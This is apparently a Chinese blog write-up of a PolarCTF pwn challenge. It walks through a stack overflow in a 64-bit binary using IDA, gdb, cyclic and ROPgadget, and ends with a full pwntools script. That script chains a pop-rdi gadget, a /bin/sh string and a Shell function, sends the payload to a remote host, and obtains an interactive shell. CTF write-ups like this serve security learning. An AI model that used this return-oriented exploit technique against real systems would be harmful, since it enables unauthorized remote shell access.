【PolarCTF】x64

先检查下,发现是64位的程序

IDA分析程序

这里很明显read函数存在溢出

然后可以看到后面函数Shell

同时也可以找到/bin/sh字符串

这里我们可以通过IDA查找

攻击思路如下:

复制代码
填充垃圾数据

pop_rdi_ret将/bin/sh传递到rdi中

执行Shell函数

获得shell

gdb调试程序

将cyclic的字符输入到程序中,然后我们可以通过

复制代码
x rbp

或者

复制代码
info registers rbp

可以看到堆底里面的内容

通过计算可以看到距离rbp的距离为128(十进制)

128转为十六进制,可以看到就是0x80,和IDA分析的结果是一样的

因为还要覆盖返回地址,因此填充0x80个字节+0x8个字节

除了上面的方法找Shell函数地址、/bin/sh字符地址

还可以通过objdump查找shell函数地址

通过ROPgadget 查找可以传递给rdi的pop_ret,pop_rdi_ret的地址为0x4007e3

我们也可以使用ROPgadget来查找/bin/sh地址,可以看到/bin/sh的地址为0x601060

bin/sh的地址为0x601060

pop_rdi_ret的地址为0x4007e3

Shell函数的地址0x4006b6

payload如下

python 复制代码
from pwn import *

io = remote('1.95.36.136',2065)

system_addr = 0x4006b6

sh_addr = 0x601060

pop_rdi = 0x4007e3

padding = 0x80+0x8

payload = b'A'*padding
payload += p64(pop_rdi)
payload += p64(sh_addr)
payload += p64(system_addr)

io.sendline(payload)
io.interactive()
相关推荐
天若有情6732 小时前
开源SQL注入可视化演示项目|GitHub Pages+Netlify双平台免费部署教程
网络安全·代码审计·githubpages·sql 注入·web 安全·前端演示·netlify 部署
数据知道3 小时前
LDAP 与 AD 安全深度剖析——注入、弱绑定、权限配置错误
网络安全·密码学·哈希算法
躺柒3 小时前
读数据可视化34其他科学与艺术
网络安全·信息可视化·气象学·可视化·数据可视化·气候模型
数据知道16 小时前
加密流量分析——JA3 指纹、TLS 指纹识别与规避
网络·安全·网络安全·密码学
聚铭网络18 小时前
智能时代 网安护航 | 聚铭网络精彩亮相2026南京市网络安全宣传周活动
网络安全
爱学习的程序媛19 小时前
ICMP协议详解
网络·网络协议·网络安全·通信协议·icmp·网络运维
菩提小狗19 小时前
每日安全情报报告 · 2026-09-14
网络安全·漏洞·cve·安全情报·每日安全
三8441 天前
云安全· 01 · 云计算与云安全基础
网络安全·云计算·云安全
执念WRD1 天前
Fastjson 1.2.83 RCE 漏洞利用
网络·安全·网络安全
慧都小妮子1 天前
GB/T 44462.4-2026实施前,DataHub如何管好工业数据链路?
物联网·网络安全·数据安全·工业互联网·opc